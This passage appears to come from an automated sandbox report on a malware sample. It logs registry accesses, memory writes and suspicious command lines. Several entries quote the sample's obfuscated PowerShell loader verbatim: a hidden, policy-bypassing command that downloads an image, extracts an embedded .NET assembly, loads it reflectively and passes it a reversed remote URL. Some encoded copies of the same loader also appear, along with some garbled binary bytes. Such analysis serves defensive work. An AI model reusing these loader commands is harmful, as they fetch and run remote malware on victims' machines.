"HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")52:Ta2d,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DEBUGHEAPFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "")53:T8b1,"WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "00000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "01000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\16E\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "00001000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "00001000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing")54:T1a65,Commandline contains PowerShell string "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.912jhe/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M ��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0......." in [Source : 00000000-00001464], Commandline contains PowerShell string "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#DE#@$#MgBq#@$#Gg#@$#ZQ#@$#v#@$#Gw#@$#d#@$##@$#v#@$#Dc#@$#Ng#@$#x#@$#C4#@$#MQ#@$#2#@$#DE#@$#Lg#@$#2#@$#DU#@$#MQ#@$#u#@$#DQ#@$#OQ#@$#v#@$#C8#@$#OgBw#@$#HQ#@$#d#@$#Bo#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#LgBJ#@$#G4#@$#dgBv#@$#Gs#@$#ZQ#@$#o#@$#CQ#@$#bgB1#@$#Gw#@$#b#@$##@$#s#@$#C#@$##@$#J#@$#Bh#@$#HI#@$#ZwB1#@$#G0#@$#ZQBu#@$#HQ#@$#cw#@$#p#@$##@$#==';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD......." in [Source : powershell.exe]55:Tbf3,"powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE92E78AD" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE92E77AA" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xE92E7A25" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xE92E7A60" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE92E743F" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xE92E863C" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE92E74FB" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE92E75B3" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE92E760D" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xE92E8C0B" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xE92E8C4B" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xE92E8C8B" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xE92E8CCB" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "a813170200000000" to virtual address "0x716F2648" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xE92E7A44" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE92E7403" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "669065488b042590150000c366669066669090" to virtual address "0xE92E5B40" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "eb11c366669066669066669066669066669090" to virtual address "0xE92E5BC0" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE92E7480" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "4889114881fa18100503722448c1e90a80b9003f041bff7502f3c3c681003f041bffc366666690666666906666906690f3c3ff7502f3c3c60408ffc366666690f3c3666666906666669066669066669090" to virtual address "0xE92E5F00" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "7813170200000000" to virtual address "0x716F2640" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xE92E755E" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "5c10a7c5a3ce0000" to virtual address "0xE9071D70" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "0814170200000000" to virtual address "0x716F2658" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "d813170200000000" to virtual address "0x716F2650" (part of module "SYSTEM.DATA.DLL")56:T1e2c,Process "powershell.exe" with commandline "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#